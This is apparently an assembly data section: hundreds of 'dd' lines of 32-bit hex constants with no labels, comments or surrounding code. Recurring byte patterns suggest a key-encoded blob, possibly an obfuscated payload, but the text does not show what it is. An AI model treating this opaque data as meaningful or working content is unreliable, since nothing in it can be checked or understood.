dd 0AAABB659h, 55D13256h, 0AAD0BEA3h, 75A6B359h, 0A8583256h
dd 3FB13256h, 4C6C7F41h, 3B42DAD0h, 0C6AC530h, 0B7D2DC81h
dd 5133CD9Bh, 15B79C2Ah, 0BAB4B559h, 0DCD73256h, 0CFF5629Dh
dd 0BEAFB930h, 0ABB1325Ch, 0CEA3D2DCh, 9AC7376Ch, 92319843h
dd 0B758C7AEh, 1FB13256h, 2E52EC97h, 81821548h, 8E8D800Fh
dd 544AB330h, 5B353DBEh, 9CB13256h, 0BAB13253h, 8D882251h
dd 0B03A54E3h, 0A4315236h, 0CA49533Ch, 3C41D5D6h, 0EAB13258h
dd 1A9538Dh, 422B3137h, 8C0E4D0Ah, 2FD7D87Eh, 5871B3ADh
dd 0ABB149D2h, 0CE3C3D56h, 8AB13256h, 9D628D59h, 0BAB13246h
dd 9F7586C3h, 0ABBB63E5h, 22ECBBD0h, 1A97859Ch, 3CD1530Ch
dd 0EAB13250h, 3DA9A731h, 36BE3BB0h, 5DB13257h, 2ABE67AAh
dd 57B13257h, 0A123CDAAh, 0B5B79C2Dh, 0EAB13ABFh, 69022D56h
dd 38F44416h, 9B3054D5h, 0F3D041C7h, 0ABF4BBAEh, 6C305236h
dd 0C6D5D07Bh, 0EAB1B359h, 7AD03256h, 0DBD0F9E1h, 0A1CCB1A3h
dd 58343D57h, 0AEB13253h, 0B58088DDh, 0C15834FEh, 0A0B13256h
dd 8FBD267Dh, 30BFA560h, 91427A8Dh, 5352C3AAh, 72ACC03h
dd 0ABB9B259h, 59BE3256h, 0EAB13254h, 0F73A5336h, 0BC1F4EEDh
dd 5DB13BBFh, 51268F56h, 1953A747h, 9788FED0h, 0DC595266h
dd 1DB13256h, 7EF348CFh, 726FF606h, 3BEF5336h, 0CEF9EBD7h
dd 0D5BE6A37h, 0ABB137C7h, 0B4C48336h, 0E3D088DDh, 8C4434FEh
dd 383ACE06h, 5B1F4EEDh, 0AEBDB959h, 0DFBE3256h, 0ABB13250h
dd 0D5B1B259h, 0D6883256h, 7D595266h, 44B13256h, 6ACF05EFh
dd 0C847D0FBh, 900ACE8h, 0ABB121BEh, 1AAE9D56h, 0D1F105CDh
dd 0BD5A0B1Bh, 55B33564h, 0E6E4DA7Eh, 0AEB1BD59h, 36E83256h
dd 853E3D0Eh, 0B5B13253h, 9B428D30h, 0CF3A53AEh, 0BC1F48FCh
dd 5DB138BFh, 92559856h, 0E45DB6C1h, 2892418Dh, 7BCB98D4h
dd 69BE2650h, 75B13257h, 0B586BBAAh, 5DB13CDBh, 0AEB8DB56h
dd 0EFFE3256h, 338FB476h, 5CF46D8Bh, 0BA482211h, 0CE33B9AFh
dd 0B5B79C2Ah, 5DB133DFh, 2CBECE56h, 57B13257h, 9BADB9A3h
dd 0B47AB936h, 0B538CA0Eh, 0B758CB5Eh, 46B13252h, 5F497791h
dd 47B13256h, 57B13253h, 0AF0C8987h, 0D5F0DB76h, 0E5D13256h
dd 75B126D1h, 0BABEDB56h, 53973256h, 28A0CCFDh, 37BF1F8Bh
dd 48770F1h, 8E0F54D1h, 0AF765342h, 75B133AEh, 0AE363D56h
dd 0B4B13256h, 0AEB13259h, 0BEF12730h, 314D4BAh, 3AE08CE6h
dd 6165BD57h, 0DBCB98ECh, 3832CB50h, 5B1F48FCh, 25BE5242h
dd 57B13250h, 8539F9D7h, 5CD06754h, 0E5E05261h, 14E9C2E9h
dd 0DAA175DFh, 0D6E8D59h, 98D68A30h, 0AF32530Fh, 91343D55h
dd 29B13256h, 960AB091h, 75B334F8h, 3ABE3256h, 5DB13257h
dd 0EE58CEAEh, 37B13256h, 0ABB139BFh, 0A763C156h, 0F346B656h
dd 16977BDEh, 0DB69E3D6h, 0BD315236h, 0CE095493h, 903A534Fh
dd 0A949B137h, 0D7F4BF59h, 2D13256h, 75B1325Eh, 7E3FD9D1h
dd 596766DAh, 0FDCBFAE9h, 0D4D06B1Eh, 0A4B1CA2Bh, 0D5B1B8D2h
dd 5CBECE56h, 15443310h, 4E7634EEh, 0DD18534Eh, 0A1B13256h
dd 57B170D3h, 0CBF1C756h, 343054AAh, 69D09CEEh, 9CD137BEh
dd 0BAB13246h, 0ECD8E378h, 20940C8Bh, 35882088h, 0DA9A4FADh
dd 0D5B13EBEh, 1ACEB556h, 0BC7C3A80h, 31132354h, 8553B397h
dd 0F78DAEBDh, 579ADB37h, 864D3256h, 0D5B132A9h, 0B305436h
dd 15D18F9Bh, 4A3A5437h, 0B5325337h, 0AEBEDB53h, 0F5D53256h
dd 0D13C8B6h, 0AEB6E3F2h, 0D99D24E4h, 75F4DB93h, 0E9483256h
dd 5DB13ABFh, 9B1AA956h, 4B6697B9h, 102BB912h, 0DAB79C2Ah
dd 0EAB13CDEh, 75B8DB56h, 0C0AE3256h, 0F532A2DEh, 250C4758h
dd 0D1BE0152h, 0ABB1325Ch, 0D5383D36h, 61B13256h, 2E445388h
dd 0BAB0B959h, 0F4483256h, 2EB13256h, 5722B759h, 0A8443256h
dd 0D5BDDB90h, 0FCD43256h, 166D98ABh, 42EEA89Eh, 9D3282FDh
dd 0AEBDDB53h, 0F8203256h, 4B1B13Eh, 4051F177h, 61D1F6BDh
dd 0F7B25390h, 0BC1F4EEDh, 0D7BE7AAFh, 0AEB13249h, 57A8BC59h
dd 0BF583256h, 35B13256h, 9EDAB117h, 0B29EDFFCh, 807BF41Ah
dd 0EAB189E8h, 27EDCC8Ah, 0D6BE3A11h, 0ABB1325Eh, 550ECE36h
dd 8BB0755Eh, 79F6BBAEh, 0BAB13ABFh, 7F752656h, 0CEC81BA7h
dd 55C2DB4Eh, 0A5583256h, 56B13256h, 0E6BA4CF5h, 5AD2A3F5h
dd 0D9FDE04Bh, 5269C56Eh, 0AEB125D7h, 57A3DB56h, 2C113256h
dd 574BF298h, 2F346224h, 0EFB4D97h, 0CE50CFC1h, 5758F47Dh
dd 0FBB13256h, 0FB77E4A0h, 0FFF77D44h, 0DA69C506h, 0EAB138DDh
dd 0AD305256h, 9F0FAC68h, 0DED0FADDh, 0C8D13796h, 903CDAD7h
dd 10333137h, 0B5B79C2Ah
dd 0EAB7B959h, 0F3BE3256h, 0BAB13256h, 0B4F953AEh, 0AEB13245h
dd 977B7690h, 0BF4F5670h, 0EF032587h, 0BE61A080h, 0FCD1385Ch
dd 3EBE3A11h, 5DB1324Eh, 0AEB121BFh, 95810C56h, 7380CFB1h
dd 0E25D7A38h, 79CDD58Dh, 0E9DBB7E9h, 0B6F6BBAEh, 850E3D36h
dd 47D0F9DDh, 57B133E3h, 1BF8936h, 0DAE6718Ah, 0EAB132DCh
dd 46D06B56h, 0FC3BC796h, 5DB6DB57h, 9F6C3256h, 69F8C26Eh
dd 0A4319AAFh, 0D5B1D0D3h, 0FC3D3D56h, 9CB13256h, 0BAB13247h
dd 98D10EA9h, 53DB9EE8h, 84148180h, 0B0DADAF8h, 0DA7731ABh
dd 0EAB122D4h, 75BADB56h, 243D3256h, 0EBAD3BFFh, 0B0A0D4F6h
dd 5571B110h, 0ABB121BFh, 549B6B56h, 5654A898h, 0A8EFC327h
dd 440381E3h, 0A891AF0Ch, 465A8636h, 57B13245h, 7F77FCA3h
dd 58491374h, 15953776h, 2CB1CF12h, 0E838AB62h, 0E6D06A0Eh
dd 0AEB13257h, 586A39AFh, 0ABB11DD2h, 0DD3C3D56h, 8AB13256h
dd 0F569B930h, 30D088A4h, 0F07418CCh, 4D31CB50h, 5B585257h
dd 6B13256h, 0DEE0F094h, 39E0C8EFh, 13CC620Ch, 0DB0606E8h
dd 0D44DF155h, 0A14D3A11h, 57B136D7h, 0F0E35256h, 0D9F6BB37h
dd 0EA76DBAFh, 7B583256h, 13B13256h, 0CE60AA14h, 359F37F4h
dd 0B0103B12h, 13D75204h, 6AD75914h, 1DD0A563h, 75B4DB8Eh
dd 76F43256h, 782195D8h, 0AEB132A9h, 57A2DB36h, 0F47C3256h
dd 291AE623h, 21D74A70h, 435FF294h, 0DCF9AAB5h, 9831618Dh
dd 47D06AE0h, 57B1325Ah, 0C1A0286Dh, 0D5E00B6h, 9C8A819Ah
dd 6758F47Dh, 8B13256h, 0DC488B8Eh, 597E19D5h, 7C61DDACh
dd 2F513E2Ch, 0D46CA81h, 0EAB0B559h, 0F6483256h, 3DBE3096h
dd 5DB13251h, 0B1518A36h, 0AED00446h, 0A4B975DFh, 0D5B133D6h
dd 0AD38CA56h, 7D59525Ah, 7FB13256h, 5A6D9C29h, 4757664Ah
dd 57B13245h, 33756889h, 0BF65FC25h, 48763703h, 0DA32567h
dd 0E5E2E564h, 5358CA37h, 9FB13256h, 56BB072Ah, 362C4BCAh
dd 0C3AEF2CFh, 6BBE53A1h, 75B13257h, 0A858FBAAh, 0D6B13256h
dd 494CA76Ch, 7A7507A8h, 8F340B99h, 0EE748529h, 63BEF106h
dd 75B13257h, 36BE67AFh, 5DB1325Ah, 0AEB7B359h, 0D9BE3256h
dd 0ABB13256h, 5644DEDDh, 6ABECE92h, 75B13257h, 31BE52AAh
dd 5DB13247h, 0AEB13EBFh, 0C034D856h, 0DD016201h, 0F7380723h
dd 0EAB1DA12h, 0F4EB3256h, 14058BBCh, 5658CE50h, 0FFB13256h
dd 0C18FEEA1h, 1A219480h, 5CBE3790h, 0EAB1324Bh, 75A6BA59h
dd 0A8583256h, 0F1B13256h, 0B75BF175h, 0E4B71F93h, 5A0D5783h
dd 0D456F5h, 8E0BB9D1h, 89B79C2Ch, 35BEFB65h, 5DB1325Ah
dd 0AEB7B859h, 0DEBE3256h, 0ABB13256h, 0DAB10DD5h, 0EAB577D2h
dd 723AC756h, 0BAB13ABFh, 0E57C056h, 11E66E06h, 5BC4CD6Fh
dd 6B0F5436h, 8946B24Bh, 0E2C4CD37h, 75A7B259h, 38BE3256h
dd 5DB13246h, 0AEB139BFh, 0A9477F56h, 4167B0E0h, 0E8AFE488h
dd 3305206h, 389EE3CFh, 2C5953AAh, 3DB1325Eh, 0F535D9D7h
dd 5CD0073Dh, 0B7343D96h, 0B5B13256h, 61D06AE4h, 4C58CB51h
dd 53B13256h, 5DB1325Dh, 7F1E0257h, 0FF3A592Eh, 28998930h
dd 0C1582691h, 0A3B13256h, 3C5D535h, 1208CB17h, 0F0E47002h
dd 312F785Eh, 0BE572623h, 544ECD36h, 0D5B3B559h, 8BD13256h
dd 154D77DFh, 404F8DDh, 51C4CD37h, 0AEB120BFh, 9C507856h
dd 0D34A0D31h, 6A8760B3h, 0D47B5058h, 9C117CA2h, 0BAB13258h
dd 8CF81F90h, 0AA327EA4h, 0CA61A3C8h, 0DE4E60F8h, 0DD393D5Eh
dd 8AB13256h, 75B1B759h, 45D03256h, 553E3D61h, 0A1B13256h
dd 57B130DEh, 43D05256h, 0D5B135B3h, 0E57139AEh, 75B11AD2h
dd 0BABEDB56h, 0DFF23256h, 248818F7h, 0E95810DAh, 41D8FA3Eh
dd 0D699DB31h, 0E0583256h, 0F8B13256h, 49C9BBEDh, 712E4D2Ah
dd 52F4B95Ch, 57B138BFh, 3B2A2856h, 6756738Ah, 0D352E0BCh
dd 8A333D51h, 42B13254h, 524D77A9h, 0AEB133DFh, 2832C756h
dd 2FBE3252h, 0D5B1324Eh, 0E6CEB1A3h, 78353D56h, 0DAB13256h
dd 0BB31DEDCh, 93585373h, 0ABB13256h, 544ECDEEh, 0D008CBA9h
dd 0E5B13256h, 75B133DBh, 1142CB56h, 5DB137BFh, 61070756h
dd 4558851Eh, 424ECDA9h, 0D5B13242h, 0BC10C4B0h, 7C9BA3EEh
dd 0B94ECB49h, 0C2D4044Eh, 412800E4h, 52A14DD5h, 0AB30B659h
dd 82D13256h, 6AEA5336h, 0F6D03BA1h, 0B5B72229h, 5DB196D3h
dd 0AEB9DB56h, 6F733256h, 0CE552BBDh, 20F04403h, 0EABAB659h
dd 0F4D13256h, 32A19BA7h, 8D063D12h, 0AAF6B937h, 57B139BFh
dd 8D9FD56h, 2FD8CA5Bh, 0BDF53B37h, 15BD6DDDh, 36BECBDDh
dd 5DB13250h, 0AEB1B259h, 0BED03256h, 0ABB133B6h, 0D5ACB359h
dd 6BBE3256h, 75B13241h, 0BAB120BFh, 94D8EB56h, 1202550h
dd 0F8B1B13Eh, 3E51F177h, 5EBAF6BDh, 61483611h, 66583E09h
dd 23B13256h, 0F61B7085h, 0BF03BE2Ch, 33EE0464h, 68C186F7h
dd 0A1583D77h, 8AB13257h, 75B137BEh, 9059A556h, 5E6449Ch
dd 610E3D09h, 53F6B937h, 0A7EEB9AFh, 54D76436h, 0B32B3FBEh
dd 146FB930h, 0B5B96D6Dh, 5DB188D3h, 0A33F3D56h, 0BEB13256h
dd 0ABB1325Eh, 7BE75DF1h, 5CEDD303h, 75B9DB04h, 0F8F63256h
dd 0F5D2CE40h, 0F93A3CB8h, 57A2DB52h, 0FAF03256h, 5A9F83DEh
dd 0EA47C5CDh, 0C81BD60Eh, 262BADABh, 57373DFEh, 0CEB13256h
dd 3A0804EFh, 733A5417h, 0C5E41937h, 0FEE431A3h, 79EEB9AEh
dd 0BABFDA36h, 45083256h, 0F041454Ah, 0C360A158h, 0B50F956Ah
dd 0CC096DAFh, 8BE18610h, 0F8BEE87Dh, 0BAB1325Eh, 5DB3B559h
dd 0CFD13256h, 37B4D9D5h, 5ED09DE6h, 0B3D1520Ch, 8180FBD7h
dd 0CBD0E1DDh, 0AD76F68Bh, 5D31DB37h, 0BA583256h, 4FB13256h
dd 0FBC03FA4h, 86ACC41Ch, 74118C27h, 42D8BC3h, 317AF887h
dd 57583611h, 0B6B13256h, 786A4D8Eh, 3A9725F3h, 0D9EEB9DEh
dd 0EAB13ABFh, 0AC4F9156h, 73079512h, 59EE19D3h, 0AEBDDB36h
dd 0ACD93256h, 2E467275h, 0AA7CBC44h, 830B4B0h, 78DC5C38h
dd 0BF5AB137h, 5DB138BFh, 0BEB99156h, 3582A106h, 0A8AB2CABh
dd 7D80A7DCh, 0EABDDB50h, 0CCF43256h, 6E75A4BAh, 2E54098Eh
dd 0D1326753h, 0D2BE3146h, 0ABB1324Dh, 0D5A2B159h, 0E4583256h
dd 90B13256h, 9DAB2B1Fh, 0E9F3DF59h, 2C86AF0Dh, 7C49735Bh
dd 0ABA0DB8Fh, 0F99E3256h, 405552Ch, 0FB6420F4h, 0ACC77158h
dd 3D9E6EDEh, 924288E8h, 0DB51B348h, 0CA88DF89h, 0D4B06EDFh
dd 0AB678B36h, 0B2304F68h, 8F1097CFh, 0A209CB37h, 524ECDA9h
dd 91063D36h, 0ABB48B37h, 26493256h, 0EABEDBFDh, 665A3256h
dd 346675B8h, 0AC4C156Eh, 0A4E183C4h, 0ABC2DB88h, 0A058CDA9h
dd 0EEB13256h, 0BCD9DE3Dh, 56EFADB7h, 4FD06563h, 55303D9Fh
dd 0A1B13256h, 57B130DEh, 69D05256h, 0C5583246h, 44B13256h
dd 7FD9D256h, 0CBD15A90h, 0EDE95EFBh, 0FB7F7F58h, 57BBBF59h
dd 0A4D13256h, 0D5B132DDh, 8BEE6056h, 7D58DEDDh, 0F3B13256h
dd 3503DF69h, 2D0ADEFAh, 374DCE92h, 0ABB13CBFh, 7A0F7456h
dd 74C25A29h, 6E409690h, 52307685h, 5DB13256h, 6D5BB30Ch
dd 0BEB79CEFh, 0ABB13258h, 8F0E1004h, 6C42A872h, 60E63089h
dd 0B4587611h, 0BFB13256h, 8614546Ch, 34821028h, 0B44FC347h
dd 0B10BB912h, 3B79C2Ch, 75B13245h, 32E4FD2Fh, 0C62D6903h
dd 6D858954h, 49227F13h, 98019286h, 0EA32CB9Fh, 4A353D56h
dd 7AB13255h, 0BAB133D6h, 5A3ACE56h, 0AEB13BBFh, 0CC0AF556h
dd 0EAD7AC45h, 0A04E9C9Fh
dd 0EABBDB5Ah, 0F6273256h, 0E39BF3C0h, 57B9EC8h, 56B947A9h
dd 67095206h, 42A4A5C7h, 0D5B13244h, 0CF745308h, 0BCC07695h
dd 883195A8h, 0C8412699h, 46D0ECADh, 57B131DBh, 53063D36h
dd 0D5B1B259h, 3D03256h, 75B13250h, 0F57EA1DAh, 9DBA804Bh
dd 0AE97B759h, 0D3BE3256h, 0ABB13257h, 29B6B9A3h, 0EAB6B559h
dd 13D13256h, 6C3AF0DDh, 5DAFDB37h, 22BE3256h, 57B13252h
dd 0CAEE6536h, 0B5A5F5D5h, 0EAB1B159h, 0FED73256h, 0F558538Ch
dd 0A14ECDA9h, 474D77DFh, 57B1325Ch, 7A2BE0DDh, 2B1DE0EBh
dd 9F4E98FAh, 0C2BE525Ah, 61305497h, 0A2D03F1Fh, 0A8583A23h
dd 0C3B13256h, 88D5233Ah, 2D86CDEDh, 0EAB232BEh, 0B5BACE56h
dd 0BA92B659h, 0D8BE3256h, 0AEB13257h, 551CDBAAh, 42493256h
dd 0D5B13247h, 8D53B61Bh, 0E63C0FFAh, 0A4D1FD08h, 934F8C51h
dd 52F4B9EFh, 58B60BAFh, 0ABB3B8D4h, 0D5A3DB56h, 6FBA3256h
dd 6EA72978h, 34B933A8h, 0E42B989Dh, 83C7C1Dh, 374D77A9h
dd 5C063DA3h, 0AA32CA37h, 6EBE3252h, 75B13272h, 0B6CEB1A3h
dd 44353D56h, 56B13256h, 57B1B3BFh, 0A6313D56h, 3CB13256h
dd 0EAB1325Eh, 0BAE2415Dh, 0F0783759h, 0A24ECDEEh, 0AEA2DBA9h
dd 23843256h, 0BC8D56DAh, 0DE103721h, 2CE407BFh, 0E2952F37h
dd 0BAB48B8Ah, 0B4D13256h, 0AEB13246h, 0AA431ADFh, 2F8A3BB8h
dd 0D2692296h, 5E67F65Eh, 75B139BFh, 9E3BF356h, 867C201Ch
dd 3C44CD3h, 371AC137h, 0C341B330h, 1630549Ch, 3D0F037h
dd 8A4ECCACh, 0BAB9DB36h, 0E3873256h, 0A6A967C9h, 0A031D899h
dd 0D43253DFh, 51BE3746h, 0EAB132D8h, 65CEB1AEh, 56343D50h
dd 52B13256h, 0AEB13DD9h, 57BBDB56h, 28A03256h, 9A8C146Dh
dd 15734Dh, 154D5217h, 0DBD16800h, 1A3A5337h, 0BE585252h
dd 81B13256h, 0D966F927h, 0A0C50E05h, 547CE0Dh, 131BF60Ah
dd 100AF1D7h, 51EEB937h, 0AEA0BB59h, 5B583256h, 5DB13256h
dd 0FD56F5A6h, 0CD350246h, 9C0F791Fh, 0BAB13352h, 52323D36h
dd 46B13256h, 57B1325Fh, 0B111A8CDh, 987E535Eh, 8B496C53h
dd 75B9B459h, 3BBE3256h, 5DB13254h, 0E93A5336h, 57BEDB52h
dd 0BA353256h, 354467Ah, 0C39C14FDh, 3BD9A6FBh, 0B6EEB95Ah
dd 0B4D152AAh, 0AEB13245h, 7BDD73C5h, 3A7B6517h, 0F6D89132h
dd 2888AF8h, 9CF5231Ah, 0BAB1325Ah, 0C2F7EA4Fh, 5F20133Bh
dd 0CEBD7B28h, 0C24A8837h, 3CD00345h, 0EAB13222h, 75B120BFh
dd 0FBA68456h, 30C333DEh, 4149D180h, 3453EF8h, 2073EC68h
dd 3CD13611h, 0EAB1325Dh, 9245AF10h, 0FFB2E8D9h, 3B0699DBh
dd 0CF86E7EDh, 0AFBD6DDDh, 0CBB56D7Dh, 2F838930h, 0EF5AB137h
dd 75B134BFh, 0FF9FF556h, 0DE57F2DCh, 0A1B22229h, 57B12DD3h
dd 0ABBEDB56h, 821C3256h, 6A3B3750h, 1DABB2A9h, 9383612h
dd 58587310h, 0B6B13256h, 3C7736Bh, 0BA58EB7Dh, 0BCB13256h
dd 36D7B170h, 1375AA89h, 175A4E49h, 40C9C98h, 0AFB06EDFh
dd 57B6B559h, 22BE3256h, 0D5B13257h, 154E8AAEh, 0F8BECDA9h
dd 0BAB13240h, 5DB123BFh, 11572456h, 9124EFA8h, 750E34F7h
dd 3803A2C7h, 0EF082891h, 15B13256h, 0B54A8559h, 5DB137D0h
dd 2918856h, 37D03C49h, 0F94A8D59h, 7E42530Eh, 17ADDBAEh
dd 1448CDA9h, 38BEFBA3h, 5DB1324Fh, 0AEB126BFh, 6B19E356h
dd 0B7EB75ADh, 0C42FB66Fh, 4598970h, 26E04818h, 0BAB9F0D3h
dd 5DB126BFh, 0AB165B56h, 86F59147h, 81698FF1h, 232B0BCCh
dd 0DC3A0B7Bh, 7AD167D0h, 34BEF1E9h, 5DB1325Ah, 0AEB135BFh
dd 2A5A056h, 88989959h, 0B7055237h, 0BC71B330h, 993A5356h
dd 7E32CEAEh, 5DA3DBAAh, 62893256h, 59FACB45h, 0BD2F7160h
dd 0BFF84676h, 0A6C0635Eh, 75A0DB36h, 0F5183256h, 6DE2F481h
dd 0FCFC7857h, 0ED2302B8h, 0CB4E6032h, 0B467B930h, 3B977DDh
dd 75B13258h, 0BAEC5085h, 2D9018AFh, 78C6E040h, 128AB3C3h
dd 0F0333D5Ah, 0B5B13256h, 34AB930h, 75B13253h, 0EB7F748Fh
dd 188A5309h, 0ED363D46h, 0BEB13256h, 0ABB13246h, 0F8158007h
dd 8256B579h, 31BCA5DDh, 747A305Dh, 5D4D7791h, 0A1B13256h
dd 57B127D4h, 0ABA1DB56h, 0E7E03256h, 0CD5E7520h, 9268811Ch
dd 3B42D98Ch, 715885A3h, 0A1B13256h, 57B133D2h, 0EE76C756h
dd 0D5B133AAh, 0E358C756h, 8AB13256h, 0C21E782h, 0CCB37B6Ah
dd 0AEB138BFh, 57B4DB56h, 6DAE3256h, 0B4E67B3Dh, 3C3A5436h
dd 0FED038E4h, 3DBECE13h, 5DB1324Dh, 0AEA4B659h, 47583256h
dd 43B13256h, 84CB7CB8h, 0EF17B705h, 0A3D82E3Ch, 733926D1h
dd 5DBEDA36h, 13223256h, 426268BAh, 0A8F9B99Dh, 96F97925h
dd 0B376B91Eh, 75B3B159h, 0DBD13256h, 5DBDF037h, 0AEB13DBFh
dd 0CD0DCA56h, 865C22CDh, 6964EAC8h, 858FF517h, 75B122BFh
dd 0FA37056h, 37FFEC44h, 87C3B741h, 0F7F7D172h, 0CDD16740h
dd 0B33443EDh, 8B2F53EEh, 0F644DEDDh, 0DA48CE92h, 0DE0E5436h
dd 0FF0B5449h, 0DCD7539Fh, 0CBD15380h, 0D5B123BFh, 7389F256h
dd 85413B43h, 37F5BDA7h, 1C28CEE2h, 46D0F16Ch, 57B13256h
dd 5BB30Ch, 3CB79CE9h, 0EAB13242h, 9222B60Ah, 9336E372h
dd 4B0BA671h, 87A3DC32h, 94FA6E52h, 27BECA36h, 0D5B13253h
dd 6057B330h, 7B58535Fh, 0E7B13256h, 49086FF3h, 949F501Ch
dd 8065A30Ch, 0FC445263h, 0D5B13ABFh, 46F99C56h, 246B071Ah
dd 89D06865h, 8682CB9Fh, 0AE9FB959h, 0BFD13256h, 0ABB13247h
dd 57EB2736h, 5CCBC744h, 2AA93070h, 0FA12DF80h, 4D586C21h
dd 26B13256h, 0C5585CCDh, 4009528Fh, 2FC6E4CFh, 8B52D139h
dd 9C4D6FDFh, 0BAB13247h, 2CC00EA8h, 0C4EE0E3Ah, 44AB5F98h
dd 0E02321B9h, 0B10BB93Fh, 3B79C2Ch, 75B1325Eh, 16BB1CE4h
dd 0C88CB6C0h, 0A1B10DD5h, 57B39AD2h, 1CE05256h, 0AB086D07h
dd 8BAA0E09h, 0BE3A5436h, 0BAB2B659h, 8F313256h, 913253F9h
dd 0C343DA9h, 52B13256h, 0B5A5F5D5h, 0EAB13FBEh, 3F4C4456h
dd 0FAE32527h, 4C0522DAh, 0A65876AAh, 69B13256h, 0B90A12B5h
dd 8BDEFE02h, 5393EBD7h, 7AD06BC6h, 0BAB121DAh, 5DBFDB56h
dd 7BB13256h, 55DC762h, 0DEB278C1h, 208324C6h, 154EB9BFh
dd 7E383DA9h, 0DAB13256h, 5DB1BD59h, 63313256h, 2832532Fh
dd 2FBE3252h, 0D5B1323Dh, 0EABCDBAFh, 0B4FD3256h, 4E34F56h
dd 4CEE7B55h, 2D87C423h, 58B13E29h, 0ABB17CD2h, 0D5A0DB56h
dd 0FA583256h, 4C473C5Dh, 97A67098h, 78657D46h, 0A1BA746Ah
dd 57B127D4h, 0CAD15256h, 0D5B13EBFh, 787DBB56h, 40FEE5C8h
dd 57145F8Dh, 7B5853E6h, 0A1B13256h, 57B123D8h, 0ABBDDB56h
dd 37463256h, 8EFCCE3Eh, 244289C9h, 4548799Ch, 0DE4DCE13h
dd 474D2691h, 0A84ECCAEh, 0BBCEB1AAh, 0AC353D53h, 3B13256h
dd 75B1325Ch, 15CB9607h, 35C93AADh, 0D13227E4h, 0D2BE3446h
dd 0ABB132E6h, 0D5B13EBFh, 9C92B56h, 2C0A0F6Ch, 1FF3B6FBh
dd 4F58739Ah, 2BB13256h, 0EF963F76h, 0CFDD6B9Eh, 156314Ah
dd 19B3118Bh, 71F6B958h, 0E14E8836h, 0DCD711EEh, 0CF6B5CA0h
dd 58BD6DDDh, 0ABB12BDDh, 0C5585256h, 56B13256h, 19B86BD9h
dd 93EDB062h, 0F46F35A8h, 0FFAF471Fh, 8858530Dh, 57B13256h
dd 3CB575DDh, 0EAB13242h, 0DE1582D8h, 226673FAh, 0F77D931Ah
dd 113430A3h, 31F3C5D1h, 0A4BD6DDDh, 0D5B12AD0h, 0EAA2DB56h
dd 26463256h, 3CFC8445h, 5846F257h, 35260B77h, 0BA2A6FE9h
dd 0AB28DB00h, 0DC583256h
dd 99B13256h, 467940FCh, 0FD4C07D7h, 0B4B575DDh, 0AEB13246h
dd 748978FCh, 29FA6F79h, 5CE4B40Fh, 9D7A6354h, 15BD6DDDh
dd 0BC323DAAh, 52B13256h, 0AEB132DBh, 7C4D5356h, 2DBE3609h
dd 0D5B1325Eh, 8CEB6036h, 149A68EEh, 0B5B4D9D5h, 5DB133D1h
dd 0A758CA56h, 0CB13256h, 0A0A173Bh, 0E2C89437h, 0E9A14DD5h
dd 759CB759h, 0DAD13256h, 823A6D07h, 0AEA2DB37h, 9FE23256h
dd 67BFB33Ch, 0BE9B59DFh, 0A2159D0Bh, 7FD0EFA4h, 3D153E3h
dd 2449B4D1h, 7A628C30h, 7C4D7337h, 0F738C78Fh, 6D4D3357h
dd 154ECDA9h, 75B122BFh, 1C094756h, 0D286B2C4h, 0B02784FCh
dd 0A177622Bh, 0ABB48B17h, 26493256h, 8358CAFDh, 154ECDABh
dd 3A4FB930h, 52D01D83h, 0AEB13ED3h, 51353D56h, 0A4B13256h
dd 0D5B132DDh, 61445356h, 13D1CE13h, 0E83EFAD7h, 94D0ECDDh
dd 40F5436h, 57A3DBFFh, 0EBA3256h, 74C7CADh, 0C3BA53BAh
dd 39FF9A95h, 7B608469h, 3DD1F137h, 0D75DDE8h, 8E085429h
dd 0FBD05332h, 0D5B13ABFh, 1AE1956h, 8275B5D0h, 53D1638Fh
dd 5DB13258h, 85842DA3h, 9F2827BFh, 0A013A336h, 63030A6h
dd 0AC313238h, 78586137h, 47B13256h, 2D1E9BEAh, 83B89AA2h
dd 3B2269D4h, 0ABB132BEh, 3F306856h, 0EC1FF1C6h, 0CAD75236h
dd 0DBE6EC4h, 0B4D053A6h, 0AEB13242h, 5A951169h, 21538BB5h
dd 364D851h, 0F51B8C4Dh, 72863A06h, 0C1E4A8DBh, 0D3BE34F8h
dd 0AEB13251h, 57B0B159h, 13493256h, 0D5B13232h, 0EFF7DAAAh
dd 0FE4D3256h, 0BAB4DB5Dh, 516F3256h, 47EFA352h, 57B1325Eh
dd 0B57E6E7Eh, 0AEF8C5E2h, 5BD1F36Dh, 14C1856Fh, 0BAB1F4BFh
dd 5DBBDB56h, 690E3256h, 0CE155C8Ah, 4E3D910Fh, 3CB57955h
dd 0EAB13259h, 0A9785DD6h, 1A85081Eh, 0D7202AA2h, 95F1EDC2h
dd 90333D97h, 0CBB13256h, 54D7FDDDh, 8BE57BB4h, 75B0BF59h
dd 0B9493256h, 5758221Dh, 0A7B13256h, 0FD8DDBE6h, 8F648293h
dd 0DA700999h, 0EAB107D4h, 79595256h, 0C9B13256h, 3DE0DB89h
dd 0AAD1C7D6h, 0D64EECF3h, 62708B9Eh, 6ED76C3Eh, 3D04F79h
dd 75B1327Bh, 0BABDB159h, 0D3BE3256h, 0AEB13250h, 57B1BF59h
dd 29583256h, 0DAB13256h, 0EAB122DCh, 75BADB56h, 26EC3256h
dd 367656A3h, 0E7C1286Eh, 57D6DBE8h, 42D13256h, 0D5B13244h
dd 2C37CAC2h, 48B70D8Ah, 0CA32FB9h, 0E943DBD8h, 23D0205Dh
dd 0F8E3D7CCh, 784ECA50h, 0D5B0B259h, 1F483256h, 75B10ABFh
dd 0B7585256h, 2EB13256h, 70291BA8h, 0FB3AAD22h, 9C151EF7h
dd 579B330h, 703C5327h, 731E645Dh, 0DA62CDA3h, 5DB7B859h
dd 67303256h, 19E16EB2h, 0ABB3B659h, 123A3256h, 3D16937h
dd 75B13259h, 741DB032h, 0B2E63E09h, 6F35A8A1h, 310DB3DEh
dd 0CA86C6EEh, 54D7520Fh, 8B7C328Eh, 75BADB0Eh, 2CFC3256h
dd 0A2824C4Dh, 662B81CBh, 244F1FDh, 0ABA0B859h, 0D9583256h
dd 67B13256h, 0E864A973h, 683D597h, 0A4FD0BC2h, 0A958DEDDh
dd 18B13256h, 0FE36FF50h, 0D5597546h, 0B0B13256h, 0B0C7D8D7h
dd 0B65834F8h, 6B13256h, 437FD8B0h, 9F6C719Dh, 0CB57D612h
dd 577BB330h, 0C553B329h, 14B13CB8h, 0DCD1CA36h, 9D6FE2D7h
dd 143C53AEh, 511F4903h, 0ABB134BFh, 3E859156h, 61E7FCD3h
dd 9CD13A13h, 0BAB13245h, 53826D0Dh, 0E94DE818h, 0A8C3B993h
